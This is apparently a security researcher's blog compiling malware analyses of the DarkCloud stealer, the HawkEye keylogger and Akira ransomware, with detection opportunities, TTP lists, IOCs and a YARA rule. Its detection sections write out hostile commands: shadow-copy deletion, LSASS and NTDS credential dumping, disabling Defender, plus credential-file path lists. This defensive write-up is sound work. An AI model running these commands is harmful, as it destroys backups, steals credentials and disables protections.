After the analysis, I checked what was going on in Telegram groups as well as in more exclusive groups. The truth is, they don’t have much activity or don’t present themselves as openly as other groups do. Moreover, there is quite a bit of confusion in the logs when differentiating between the botnet and the Stealer, which appears in almost all forums.

It is interesting to see how many of the samples communicate via bots, making it relatively easy to find information about them.

Additionally, there are various tools that I am using for these tasks which, although they don’t need much introduction in my opinion, I’ll list here for reference.

@Gi7w0rm - Teletoken Web
@0x6rss - Matkap Github & New Matkap in Web

Finishing the analysis, I must say that I was surprised by the great variety of loaders I found for DarkCloud. It has been a challenge to unify all the versions I encountered into a coherent explanation, but it was truly interesting. I will continue working on the bot-related aspects to develop further analyses with a stronger focus on this area and gain deeper insight into the infrastructure used by those who deploy it

Finally, I would like to thank you for reading this analysis and for supporting me :)

_Detection Opportunities

• [TA0005][T1036] Duplication of original files or loaders in temporary paths

(WriteFile) C:\Users\<user>\AppData\Local\Temp\*.exe|.vbs(WriteFile) C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Templates\*.exe|.vbs(WriteFile) C:\Users\<user>\AppData\Roaming\*.exe|.vbs(WriteFile) C:\Users\Public\*.exe|.cmd|.vbs

• [TA0003][T1547.001] Startup vbs loader creation to persistence

(WriteFile) C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\<RandName>.vbs

• [TA0003][T1547.001] Registry RunOnce persistence

(Registry) *\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce(ValueData) *\AppData\Roaming\Microsoft\Windows\Templates\<RandName>.exe

• [TA0007][T1217] Queries to browser paths or third-party software to obtain information

(Registry/Path query) \Default\Login Data\ | \User Data\ | \WebData\ | \Logins.json | \key3.db | \key4.db | \keyDBPath.db | \signons.sqlite | \keyDBPath.sqlite | Storage\ | mail\ | Data\ | \Accounts\Account.rec0 | \Accounts\Account.tdat | \Account.stg | \Account.rec0 | \Local State | \accounts.xml | \recentservers.xml | \sitemanager.xml

• [TA00011][T1071] Connection via noncommon process to TG bots

We can take into account the injected processes I mentioned before or processes in strange paths (Svchost, InstallUtil, MSBuild, injected Itself)

(OutBound connection) https?:\/\/api\.telegram\.org\/bot\d+:[A-Za-z0-9_-]+\/

_TTP

[TA0001][T1566.001] SpearPhishing[TA0002][T1059] Command and Scripting Interpreter[TA0002][T1129] Shared Modules[TA0002][T1204] User Execution[TA0003][T1053] Scheduled Task/Job[TA0003][T1547.001] Registry Run Keys / Startup Folder[TA0005][T1027] Obfuscated Files or Information[TA0005][T1027.002] Software Packing[TA0005][T1036] Masquerading[TA0005][T1055] Process Injection[TA0005][T1140] Deobfuscate/Decode Files or Information[TA0005][T1497] Virtualization/Sandbox Evasion[TA0007][T1016] System Network Configuration Discovery[TA0007][T1033] System Owner/User Discovery[TA0007][T1057] Process Discovery[TA0007][T1082] System Information Discovery[TA0007][T1518] Software Discovery[TA0009][T1005] Data from Local System[TA0009][T1056.001] Keylogging[TA0009][T1113] Screen Capture[TA0009][T1114] Email Collection[TA0009][T1115] Clipboard Data[TA0009][T1560] Archive Collected Data[TA0011][T1071] Application Layer Protocol[TA0011][T1105] Ingress Tool Transfer

_Some Any.Run samples

https://app.any.run/tasks/f3c56abe-04b8-432a-8011-4135871daedc
https://app.any.run/tasks/b3aa2be4-c06e-4bfc-a05a-00b6b5a32c88
https://app.any.run/tasks/4e1b98c5-2d9d-4eca-80cf-42d7de800376
https://app.any.run/tasks/a2aa4e72-1e7b-4819-8a85-77f5145b884b
https://app.any.run/tasks/a36a7b27-c600-4512-92f8-a50e3b43b9f2
https://app.any.run/tasks/62189938-c9aa-4faf-af83-6f34934fc0e0
https://app.any.run/tasks/44386e5b-f252-4cd3-a759-9cea86266838
https://app.any.run/tasks/358ae682-9667-4538-8e03-231f8b550c08
https://app.any.run/tasks/53830d3d-1413-417e-bcc2-02266e731c1a
https://app.any.run/tasks/1564deb3-8c01-4334-a392-3579ff05e5e7
https://app.any.run/tasks/9f89708d-7f12-4fc0-9cb3-2c37bb40db63
https://app.any.run/tasks/74e6dfbb-7997-416b-af72-276e06692a7c
https://app.any.run/tasks/216ec201-b361-4b74-a063-0c7ed1736cbc
https://app.any.run/tasks/6787a231-8ae4-40f6-b9b6-9b6f8c5fdc99
https://app.any.run/tasks/ca51f009-cf34-4bc6-b382-69ea5165ca73
https://app.any.run/tasks/7a152247-6048-4721-96cf-df6266638678
https://app.any.run/tasks/e692ced4-8033-4021-943a-a7bbae338678

_IOC

I’m sorry because there is a lot, but I review many samples, it is interesting to see how they have affected different websites in different parts of the world to host the first stage (the section where loader download the sample).

970791d129721273f0d53c1b4c352c689d3992ec3a236bfa5b4c39804821f64d20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de185e45f400b15d22d484430e07d36c9b01eef5bc3069faa8c9fa8b1b88be93ef9aecbdaea604f259a7535b32c7abcd25139af9b8abe04a45d24614212c9d8ea67c930715d4311f4b71e77c5baf6a90d5e9383dbb8d2557e8316054d4e46f0194048eed39069dfa0574b41e3e3f426809e29f9b108d5106670e07b2c1524085b6e6869ab9858bfbbb0e479ec4f2f3776ec952cdada4898e9f26d3322cb931c75cab78c596ef6b627c0210c528adda497162ef323dcb880edc19a1baa67c34e049063477d3838f634d4e5489d7d16de56b91bf0bf31b32ac7e2dbccf657a24d487bc9687a5f5f5b2625642144b433b807c37f968ba696722c1c173a0d7d5ece4d0d989b0fa84da8c99eed3aba8a931afb5a032ea0a47cb4b692a15e7b3aef7104ba8b07a092954cc148342cdd4725f5e9d487155d22b794b273dc874dcf5f144de4ee25450236e49bbb61e175e39eb46a2f3a1258e8ba8fe7a2c6d8b2f17e85cc167f18d276ce3ec088f6d446e409489bad5c9b613d6c1f10a6538724749c7cf2af673ea9482307e2db84538256bcee3a207fbc8bf512715316c82f3b4cebe46d8b1d148996c99c0e59c40792ce17a1531480168eb0e05d015ddd6f0fed9ce9478e5f18d276ce3ec088f6d446e409489bad5c9b613d6c1f10a6538724749c7cf2af673ea9482307e2db84538256bcee3a207fbc8bf512715316c82f3b4cebe46d8b1d59dbca0d404218e0f1729294f30c85d7f61b6e28cc7872d8ce1afb94cb3be42aa653ad0d107b2d7ab98d4ede0eef147b73fbd7eb2f522f0bf608f833daebe34688c929b7be5c31a2a5410394024f9dea1bcfc62af0c24237d2b23b8fea7005580742a25d1550dd0f7ccb299672a5d9de889f57c0e53e3e8eea0e50d6b7ae33bb7d2a499355e0ff23ee3abd5dcf62b27bfa1a993cb8e53b8a0600c0e4d4e4c56093f9c611518f42f00826d8134b4860080b690678b27a469a33a529f7706b87fdda65ed23373504099b4ef1fd883eca088c8664db398909dda87af9d4a02bdf1a23430fb24ff7cf5506c58a46a33a1572a5c724fd9b4e0e88228584f6ec6001e250fa7da2da2ff7e1e1f7e3bb2ff9ae8b363facb00973455e9fe1900e6195c418306710e0292b8c88b537bf427a9d651cfdf4d86ad2f7690b47f766b4354faaa45b104579f856aba3d99b5370360240a3f9f95b82969e3f7ba12c14b0d7abb7f7c8bcd4345ec5eb572bf25a4831ebf09c98bc92c0847662fd68f7cfefce4a27fafce524a6ff12252be335bfa95209bc37ca8de86e45b2c34634cc6223fe832638616ff3374bcb45c5eda66c11ffa3fbef9e7e00e2ad21e752c10bf94bdd7a28ddb03cf79dd756e39c7036b3541c2b560b4b3a7f0ccd4b896de47ba743745726dB4bb90f3a33ac5c78672efc80987f80e0885753b8559bf1d258acf99d04dfd1bB2fe3bf20cb54f650d4b191315cf9247b653a5c3552f9f3d6598990b58139114B4bb90f3a33ac5c78672efc80987f80e0885753b8559bf1d258acf99d04dfd1bDd12a49d57b0dbc1acbfc1493529128a8c9017835a5a008397be8ba2641cbfee9726f460c40a7274eb35203cec6400f3d3de9dcf5e841ffc78bec26057cc2d6e782529daacf0b40364707f5b98f01b13a2a5f3d2b48fee351723495affc03940196[.]251[.]92[.]64144[.]91[.]79[.]5487[.]120[.]120[.]56161[.]132[.]98[.]130165[.]154[.]217[.]184204[.]44[.]192[.]90190[.]171[.]170[.]94161[.]132[.]98[.]130176[.]65[.]144[.]3144[.]91[.]79[.]54//Affected websiteskrupasindhudevelopers[.]com www[.]arandelasespeciales[.]com  alcomax[.]com[.]co toyscenter[.]cl centuryharvestlink[.]com gugaequiposyservicios[.]com[.]mx  hngandpartners[.]com

⚠️[You can also find this in collaboration with Any.Run on their blog :)]⚠️

HawkEye, also known as PredatorPain (Predator Pain), is a malware categorized as a keylogger, but over the years, it has adopted new functionalities that align it with the capabilities of other tools like stealers. It emerged before 2010, with records of its use and sale dating back to 2008, making it quite long-lived. After several spear-phishing campaigns in which this well-known malware was attached, it gained significant popularity starting in 2013. This keylogger has been available on various dark web sites, even having dedicated websites where the tool was sold. However, this keylogger has been cracked for years and used by different actors without going through the subscription method imposed by its creators, whose price ranged between $20 and $50. This has contributed to its continued notoriety, and it has been used not only by criminal actors but also by script kiddies due to its ease of use.

Although it is not one of the most widely used malwares, it remains in active use and saw a significant resurgence during the COVID period. During this time, certain actors took advantage of the general hysteria to obtain company data through phishing campaigns. Additionally, HawkEye has been used in conjunction with other loaders and/or malware that invoked this keylogger. Over its long trajectory, various actors and malware have been involved in attacks on companies, some of which include:

• GOLD GALLEON ( 🏴 )
• Mikroceen ( 🇨🇳 )
• iSPY crypter related with Gold Skyline ( 🇳🇬 )
• Remcos used on campaigns with HawkEye
• Pony used on campaigns with HawkEye (Hey, we’ve already analyzed Pony!)
• Get Rich or Die ( 🇳🇬 )
• Uche y Okiki ( 🇳🇬 )

_Technical Analysis

The method of HawkEye’s delivery has varied throughout its history, as have the types of sources behind the attacks. Nevertheless, it has been primarily involved in spear-phishing campaigns, where attackers devised convincing scenarios to trick victims into downloading the malicious file, which could be a document, compressed file, or another malware acting as a loader for the keylogger. It has also been used to target websites of portals typically accessed by companies, which were the main targets of the attacking groups. Another common method of spreading HawkEye was through “free” software, which turned out to be malware in disguise.

HawkEye’s delivery methods are quite diverse compared to other malware. However, its execution and behavior have remained relatively consistent over the years. A behavior graph of what has been observed in recent months would look as follows:

During the analysis process, I typically spend weeks, even months, collecting samples to understand how they function as a whole based on the existing variants. Therefore, we may observe variations among those presented. In most executions, we encounter enormous trees of processes based on their activities. To simplify, as you’ve seen in the previous graph, it’s not as complex compared to other stealers or RATs. It generally consists of an executable that drops others in temporary paths, then injects code into one of them or into a .NET-related software. Later, in memory, it gathers all possible data and sends it to a C&C (Doesn’t that sound easier now? I hope so :) )

Going straight to the point, in an initial execution of one of the samples I analyzed, we see a rather extensive process—a succession of execution copies launched in temporary paths.

In this instance, they used the Roaming\Templates path, but this is highly variable depending on who created it. Generally speaking, they tend to abuse paths like AppData\Roaming and AppData\Temp, which are classic choices.

Here’s the list of paths observed for dropping files:

C:\Users\<user>\AppData\Local\Temp\C:\Users\<user>\AppData\Roaming\C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Templates\C:\Users\<user>\AppData\Local\Temp\System\C:\Users\<user>\Music\

All of these files that are launched, and which we’ve observed executing in the previous step, are copies of themselves. The filenames are also highly variable, as you might expect, but they often try to have an icon that makes the victim think it’s a legitimate program, or the malware description might be altered to make it seem like legitimate software. Ultimately, after comparing the dropped files, we can see they are simple copies of the original, with the particularity that some versions launch them in hidden mode, so you can’t see them unless you’ve enabled the “View hidden files” function in Windows.

During these file droppings, we can encounter both replicas of the original file in different paths, as well as support files whose functionality is typically to establish persistence (or check if it’s already done, and if not, do it) and to perform injector functions, which is a characteristic of this malware. In this case, the smaller binary is responsible for these actions.

I check to see if there is any shared information between the two binaries and notice that certain parts of the code match the original. This will become relevant later, as right now we’re seeing them separately, but everything will make sense afterward.

After this step, we can see how persistence is established. PredatorPain isn’t just a malware that establishes persistence on registry once—it’s been observed to check and establish persistence up to three different times, depending on the phases (Loader > Injector > Payload). This makes it clear that the malware is determined to persist on the system, one way or another. At this stage, to avoid revealing persistence mechanisms through strings, it obfuscates a string and then decodes it to introduce, in this case, one of the binaries launched earlier. This practice isn’t as common and adds a level of sophistication not found in other samples.

Not only does it create persistence in the registry, but we also find samples that establish persistence in tasks using commands like the following:

schtasks.exe /Create /TN "<Path>\<TaskName>" /XML "<File>"

After observing its behavior in the early stages, we delve deeper into the entire execution thread throughout the analysis phase with debugging. I’ve followed several samples, and they’re mostly similar—samples in .NET, sometimes obfuscated with tools like Confuser, Eaz, Reactor, or similar, which are relatively easy to deobfuscate.

In most samples, I noticed heavy interaction with resources, which will become crucial shortly since I observed a significant amount of data in these resources across most of the samples I found.

In the malware’s initial phases, it looks for the running process (which will be the previously prepared copy), where it will check the PID to access the resources. Within these resources, we see two distinct types of code: the initial part, which acts as a key, and the data chunk, which is what will be deobfuscated. To achieve this, it uses XOR + Poly, and at the end of the process, it extracts a Portable Executable.

It can do this in various ways depending on the sample, but we see the same extraction of a binary from a resource as we do from obfuscated code in memory, like the example shown below.

The result of this phase is two extracted files—one will be the injector, and the other will be the Keylogger.

I compared both files, and they’re entirely different, in size, in structure—the only common factor is that both are .NET binaries.

To highlight the difference between the injector dropped on disk (Right) and the one extracted from memory (Left), we can compare the extended content. We can observe how the memory-extracted injector includes imports related to injection that the disk version doesn’t (such as ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, etc.)

Here we can observe various functionalities while extracting the binaries, such as self-deletion. This is done to maintain evasion and avoid revealing its location, as it drops replicas of the original binary in various locations, as we saw earlier.

One of the dropped files, the smaller one, acts as the injector. When extracted from memory, it has more functionalities than the one seen on disk. This is because the injection tasks are carried out during runtime, but the written file is actually a portion of this, triggering the main binary located in the temporary path. It checks persistence and restarts the entire process, including injection. Therefore, it’s a part of the file without revealing all of its functionalities. I’ll show you how it performs injection using Process Hollowing.

In essence, the injector doesn’t have much more functionality. It includes a phase where it checks running processes, which is an interesting technique to detect analysis tools or to determine if the process is already running. If not, it launches the process, adds it to the registry (as seen earlier), and restarts the execution.

Lastly, we only have the second extraction left to observe, which is HawkEye itself. I’ve encountered many versions of it, as the modules included will vary significantly based on what the creator configures in the builder of the Keylogger itself. We’ll talk more about this later, but you can see all the functionalities that can be added during its creation, which will impact the modules incorporated into it.

At this point, I conducted tests with several builders to verify this theory, as I had extracted multiple samples to the final phase, and almost none of them resembled each other too much. I tested by removing or adding options, and even with the same sample, there were significant differences, so you can imagine how different it can be if it’s not exactly the same version of the keylogger and different elements were selected during its creation.

At this stage, we just need to examine the payload’s functionalities. Upon first glance, we can see strings that reveal its nature—this sample didn’t expect anyone to reach this point, as it has three well-defined phases that conceal its tracks, but here we can see many indicators of what it is.

During the execution of this specific module, we can observe it invoking vbc.exe as it injects the payload into this process, using the same techniques we’ve previously seen

Regarding the modules it brings, I compared three different samples, and they are quite similar in terms of what they can do. The general functionalities that typically match include:

• Keylogging (Monitoring and stealing keyboard and clipboard data)
• System information gathering (OS, HW, Network)
• Credential theft (Mail, FTP, browsers, video games, etc.)
• Wallet theft
• Screenshot capture
• Security software detection
• Analysis tools detection (Dbg, traffic, etc.)
• Persistence (usually via registry keys or Tasks)
• Information exfiltration through various methods (FTP, HTTP, SMTP, etc.)

Calling HawkEye a keylogger is really an oversimplification, as it performs more functions than many stealers I’ve seen. Once injected into vbc.exe or other processes, it carries out various actions mentioned above.

_Outro

As we discussed earlier, different groups have used this keylogger, as well as independent criminals or even script kiddies. In my research, I found different places where this keylogger was sold—there were up to 4-5 different sites, as it changed developers and domains over time, which is quite common.

It has also been distributed through cracks, where it was sold or offered on forums to members, avoiding the usual membership fees or markets, offering it for very low payments compared to the standard price, which as we mentioned earlier, ranged from $20 to $50.

It’s always important with these kinds of tools to locate the original software in different versions to understand how it works from both the victim’s and the attacker’s perspectives, so we can get a complete view of the malware

Here, we can see that the builder provides a multitude of configuration options, allowing us to choose where to send the stolen information (email, FTP, etc.), what we want to collect (browser info, FTP credentials, mail, etc.), whether to check for certain tools, establish persistence, delete data, download from a domain (this could function as a downloader for other malware), change the payload data to make it appear like legitimate software (e.g., changing the icon, description, etc.). As you can see, it’s incredibly comprehensive. After compiling, we’ll have our complete Keylogger, Stealer, or Downloader (call it what you will, as it does everything) ready to use.

I don’t want to repeat myself too much, but when comparing the versions we’ve seen and extracted with the ones we created ourselves, they function exactly the same—same injections, persistence, data theft (or whatever was chosen in the builder). Therefore, in telemetry, we won’t find any surprises, as you can see below.

After analyzing all of this, I hope you are as impressed as I am by the sheer versatility and longevity HawkEye has displayed over the decades. It’s truly a tremendously powerful and easy-to-use tool that, unfortunately, we will continue to see in security incidents from actors of all types.

Finally, I would like to thank you for reading this analysis and for supporting me :)

_Detection Opportunities

• [TA0005][T1036] Duplication of original files in temporary paths

(WriteFile) C:\Users\<user>\AppData\Local\Temp\*.exe(WriteFile) C:\Users\<user>\AppData\Roaming\*.exe(WriteFile) C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Templates\*.exe(WriteFile) C:\Users\<user>\AppData\Local\Temp\System\*.exe(WriteFile) C:\Users\<user>\Music\*.exe

• [TA0003][T1053] Scheduled Task persistence

schtasks.exe /Create /TN "<Path>\<TaskName>" /XML "<TempPath>\<File>"

• [TA0003][T1547.001] Registry Run Keys persistence

(Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (ValueData) <Path Used on [TA0005][T1036] Duplication of original files in temporary paths>

• [TA0005][T1055.012] Process injection on vbc or itself

From file in temporary folder > injection > vbc.exe From file in temporary folder > injection > Other unidentified file in same temporary path

• [TA0009][T1074.001] Save stolen info on txt files

\vbc.exe /stext "*\AppData\Local\Temp\holdermail.txt"

• [TA0009][T1113] Saving screenshots of the victim’s screen

(WriteFile / Regex NameFile) screenshot\d{1}.jpeg

• [TA0006][T1555] Queries to browser paths or third-party software to obtain user account information

(Registry/Path query) Web Data | login data | Accounts | Profiles  | \Cookies\index.dat | profiles.ini | *.oeaccount

_TTP

[TA0001][T1566.001] SpearPhishing[TA0002][T1204] User Execution[TA0003][T1053] Scheduled Task/Job[TA0003][T1547.001] Registry Run Keys / Startup Folder[TA0005][T1112] Modify Registry[TA0005][T1564.001] Hidden Files and Directories[TA0005][T1055] Process Injection[TA0005][T1562] Impair Defenses[TA0005][T1027] Obfuscated Files or Information[TA0005][T1140] Deobfuscate/Decode Files or Information[TA0005][T1036] Masquerading[TA0005][T1497] Virtualization/Sandbox Evasion[TA0006][T1552] Unsecured Credentials[TA0006][T1555] Credentials from Password Stores[TA0007][T1087] Account Discovery[TA0007][T1518.001] Security Software Discovery[TA0007][T1033] System Owner/User Discovery[TA0007][T1012] Query Registry[TA0007][T1016] System Network Configuration Discovery[TA0007][T1518] Software Discovery[TA0007][T1082] System Information Discovery[TA0009][T1074.001] Local Data Staging[TA0009][T1005] Data from Local System[TA0009][T1560] Archive Collected Data[TA0009][T1114] Email Collection[TA0009][T1115] Clipboard Data[TA0009][T1113] Screen Capture[TA0011][T1105] Ingress Tool Transfer[TA0011][T1071] Application Layer Protocol[TA0011][T1571] Non-Standard Port[TA0042][T1583.008] Malvertising

_IOC

60fabd1a2509b59831876d5e2aa71a6bdefc51f31f6c4fa89cc6a39a62d8a08fdea59d578e0e64728780fb67dde7d96d040058f70ffdee6398f7b64ae1ea46d3e651dca5c850451cdba7f25cbb4134e7de823ba5d67de8682e6d7b8b472dbbcb25a2d98dfcf6a12ea6459882c56aa2e0179b219afa2ac15b14affd399273148b38a3cb547a0a19a61534792f572f08b0addcd85e0126e63e46da09eb8ea971200a2f6501a36c1b13532139e3c1843109addcd85e0126e63e46da09eb8ea9712006916c9505da82f63a73768c6f336192ab264deb2563dc4df8b281b18e0861ba66.147.236[.]46204.141.42[.]56129.204.194[.]84

⚠️This is only a small excerpt from the original report, which can be found in the corresponding section, the report has been created thanks to the collaboration of Josh Penny [@josh_penny]⚠️

Akira is a Threat Actor (TA) categorized within the criminal groups related to Ransomware, whose main objective is to gain money through extortion. The attack procedures of the Akira gang have varied over time since their first appearance in 2022. Since this date, they have been increasing their list of victims by following methodologies similar to other criminal groups. Akira is one of the principal TAs in terms of victims in recent years, consistently rising annually in the TOPs

The TA has utilized different tools such as malware and vulnerability exploitation during their attacks. Depending on the victims, we have observed phases aimed at avoiding detection, lateral movements, and various exfiltration methods that have evolved and adapted to their needs. The crown jewel of their operations is the use of the ransomware that gives them their name: Akira

The malware has also undergone significant changes over time. However, as we will see below, its core functionality has not varied greatly. It retains various capabilities such as controlling disk drives, managing running processes, multi-threaded operation, and, of course, encrypting files and writing ransom notes on the victim’s devices

Akira maintains a close relationship with Conti, the ransomware used by WizardSpider. In fact, the code of Akira’s ransomware in some parts is an evolution or another version of the famous ransomware used by the Russian group. Therefore, the community often considers Akira a subgroup of WizardSpider. Additionally, Akira has also been seen to have a close relationship with anothers famous ransomware gangs like BlackByte, Lockbit or Snatch

_Technical Analysis

As mentioned earlier, the methods of intrusion have evolved over time. However, the summary that can be drawn from their KillChain could be the following:

During the analysis of Akira samples, a multitude of samples have been considered in order to locate all available versions, with the intention of better understanding its operation and to exercise a more detailed view of all of them, as well as better detection opportunities based on both the group’s behavior and the samples used in their attacks

The general behaviour of the samples, taking into account certain differences, would be given by the following thread:

• After the sample is executed, Akira will obtain information from the affected device, such as machine name, get the timezone, etc.

• Afterwards, it will extract the available commands that can be used to execute the sample and start building a log where it will eventually write based on errors, problems, or useful information about the tasks it is performing. The log will only be present in some versions

• Subsequently, it will start extracting the disks installed on the device and retrieve the internal list of directories and extensions that it will use later. It will also construct a PowerShell command to delete the shadow copies and, depending on the version, will either create the public AES key directly or, alternatively, load AES library and functions in memory and perform the same behaviour at runtime

• After this, Akira will create multiple threads that will simultaneously enter the folders of each disk. It will check, based on its internal list, whether it wants to access each folder, and then check all files against another list to see if it can affect them, while also dropping the ransom note. Meanwhile, it will open the files it wants to work on and encrypt them using ChaCha. Once completed, it will change their extensions

The general functionality of the ransomware sample involves a preparation phase where it gathers information about the affected device. Depending on the version, it also creates a LOG in the folder where the sample is executed and retrieves usable commands from Akira.

After this preliminary phase, it focuses on first identifying which drives are available on the affected device, which is very common in this type of malware. It will enumerate and store the drives, and this behavior is similar in most of the analyzed samples

After this, it will perform various routines to obtain both the extensions and the name of the ransom note, saving them along with different file extensions.

These extensions will be used in different ways, controlling both these and the folders it can access, file sizes depending on extensions, etc.

Following this, it will monitor the processes that are currently running, listing and saving them, and then compare them with its previously extracted internal list

Afterwards, it will perform a very important routine for deleting shadow copies and preventing system recovery, but in a manner quite different from the ShellExecute methods we are accustomed to or similar technique, but, the result is the execution of a powershell that deletes them using WMI

Powershell.exe -Command  "Get-WmiObject Win32_ShadowCopy | Remove-WmiObject"

After this, it will carry out various functions focused on creating and managing multithreading, followed by an extensive routine where it will perform various tasks, including the creation of the Readme file. To do this, Akira will work with multiple threads validates entering the first disk, checking each folder, while simultaneously writing and validating

So, ultimately, we will see, on one hand, how it has loaded the ransom note, how it is comparing the file extensions with its internal list

Once it has checked if it should access the path, since it already has the content loaded and the name of the ransom note file prepared, it is only worth noting that in the paths it can traverse, it will leave a copy, not just in root paths or on the desktop. The friendly attackers will leave you an address for you to access and communicate with them and pay them, classic

After running the ransom note file in parallel, checking access to folders, and determining which files it can affect, Akira also verifies the file size before proceeding to perform the encryption. It is worth noting that the ransomware operates on multiple files simultaneously, which means that it manages several handles for different files concurrently, as it works with them

After this, all the files will be affected, and you will either have to rely on backups if you have them or pay (which is not recommended)

_Report

_Detection Opportunities

• [TA0002][T1059] Execution via commandline of the sample based on AKIRA parameter

Local or remote execution (T1021 could also fit) of the Akira sample

(Process) powershell.exe | cmd.exe > (Command) \-\-encryption\_path|\-p|\-\-share\_file|\-s|\-\-localonly|\-l|\-\-encryption\_percent|\-n(Process) powershell.exe | cmd.exe > (Command) (\-\-encryption\_path|\-p|\-\-share\_file|\-s|\-\-localonly|\-l|\-\-encryption\_percent|\-n).*\=\\\\\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}.*

• [TA0009][T1074] Log control creation by Akira

Creation of a control log by Akira

(File-Write) [Ll]og\-\d{2}\-\d{2}\-\d{4}\-\d{2}\-\d{2}\-\d{2}\.txt

• [TA0040][T1490] Delete shadows using WMI[TA0040][T1490] Delete shadows using WMI

Akira uses powershell to run a WMI command and delete shadow copies

(Process) powershell.exe > (Command) powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject"

• [TA0040][T1486] Write readme file by Akira

Creation of the ransomware file by Akira

(File-Write) Akira_Readme.txt | help-you.txt

• [TA0006][T1136] Account creation prior to attack

Accounts are created for better management of targeted infrastructure prior to impacts

(Process) cmd.exe > (Command) cmd\.exe\s+\/[qQ]\s+\/[cC]\s+net\s+user\s+\/(dom|domain|add)\s+\d\>.*\\\\\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}

• [TA0006][T1003] Dumping credentials via LSASS, SAM & NTDS

Credentials are dumped in different ways to obtain more users

(Command) cmd*/c*comsvcs.dll, MiniDump*lsass*full(Command) cmd*/c*-c -i*\NTDS\*-o*(Command) cmd*/c*-c -i*\SYSTEM*-o*(Command) ntdsutil*ac i ntds*ifm*createfull*q q

• [TA0007][T1087] AD account discovery

Akira queries to obtain the maximum knowledge of the Active Directory and hence the infrastructure

(Command) (Get-ADComputer|Get-AdUser)\s+\-Filter.*\-Prop.*Select-Object.*

• [TA0005][T1562] Modify FW and disable defenses

Firewall is modified as well as native security elements are disabled to avoid complications in execution or Exfiltration

(Command) netsh advfirewall firewall add rule name=*dir=*protocol=TCP*localport=*action=allow(Command) Set-MpPreference -DisableRealtimeMonitoring $true

• Control over the tools used by Akira

Akira uses in all its killchain a large number of tools, it is necessary to have them under control (knowing the parameters they use, internal names, etc.) The following are the tools they has used

Mimikatz | LaZagne | AnyDesk | Radmin | RustDesk | PCHunter | AdFind | PowerTool | WinSCP | Rclone | FileZilla | SharpHound | MASSCAN | AdvancedIPScannere.g. (Tool-Name) Mimikatz > (Parameters) (lsadump::|sekurlsa::|sid::|token::|dpapi::|vault::|crypto::|misc::|kerberos::|privilege::)

• Yara

This Yara is a bit generic as I don’t like to publish super strict rules so that we don’t get caught in the detection, sorry for that

rule TA_Ransomware_Akira{meta:description = "Akira: The old-new style crime"category = "Ransomware"author = "vc0rexor"reference = ""date = "2024-06-01"strings:$a1 = "expand 32-byte" wide ascii nocase$a2 = "akira" ascii nocase$a3 = "onion" ascii nocase$a4 = "TOR browser" fullword ascii nocase $a5 = "--encryption_path" wide ascii nocase$a6 = "--encryption_percent" wide ascii nocase$a7 = "CreateThread" fullword ascii nocase$a8 = "CreateIoCompletionPort" fullword ascii nocase $a9 = "AcquireSRWLockExclusive" fullword ascii nocase $a10 = "GetCurrentThreadId" fullword ascii nocase $a11 = "GetLogicalDriveStrings" fullword ascii nocase$a12 = "GetQueuedCompletionStatus" fullword ascii nocase$a13 = "encrypt" ascii nocase$a14 = "thread pool" fullword ascii nocase$a15 = "failed" wide ascii nocase$a16 = "System Volume Information" fullword ascii nocase$a17 = "Paths Finded" fullword ascii nocase$b1 = { 0f 11 45 ?? 0f 57 c9 f3 0f 7f 4d ?? 4c 63 c0 33 d2 48 8d 4d ?? e8 ?? ?? fe ff 48 8d 4d ?? 48 83 7d ?? 08 48 0f 43 4d ?? 4c 8d 45 ?? 48 83 7d ?? 10 4c 0f 43 45 ?? 8b 45 ?? 89 44 24 28 48 89 4c 24 20 44 8b 4d ?? 33 d2 33 c9 ff 15 ?? ?? ?? 00 0f 10 45 ?? 0f 11 45 ?? 0f 10 4d ?? 0f 11 4d ?? 66 0f 6f 05 ?? ?? ?? 00 f3 0f 7f 45 ?? 66 89 ?? ?? }$b2 = { 8b c7 0f 57 c0 0f 11 44 24 ?? 4c 89 74 24 ?? 4d 8b c7 4c 89 74 24 ?? 48 8d 0c 40 48 8b ?? 24 ?? }$b3 = { 48 8d ?? 27 48 83 ?? e0 48 89 ?? f8 48 89 ?? ?? ?? 8d ?? 00 20 00 00 ?? 89 ?? ?? 33 d2 41 b8 00 20 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? b9 04 01 00 00 ff 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 8d ?? ?? 66 66 66 0f 1f 84 00 00 00 00 00 }$b4 = { 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 48 83 c1 f8 }$b5 = { 48 8b 4e ?? e8 ?? ?? ?? 00 48 8d 7c 24 20 48 89 07 48 89 f9 e8 ?? ?? ?? ?? 48 8b 46 28 48 89 47 10 0f 10 46 18 0f 29 07 48 8b 0e e8 ?? ?? ?? 00 48 8d 7c 24 20 48 89 f9 e8 ?? ?? ?? ?? 48 8b 5e 08 48 8d 4b 18 e8 ?? ?? ?? ?? 48 c7 43 18 01 00 00 00 48 83 63 20 00 48 8b 46 08 48 89 07 48 8d 4c 24 20 e8 ?? ?? ?? ?? 90 48 83 c4 40 5b 5f 5e }condition:filesize > 500KBand filesize < 1100KBand (8 of ($a*) and 2 of ($b*))and uint16(0) == 0x5a4d }

_IOC

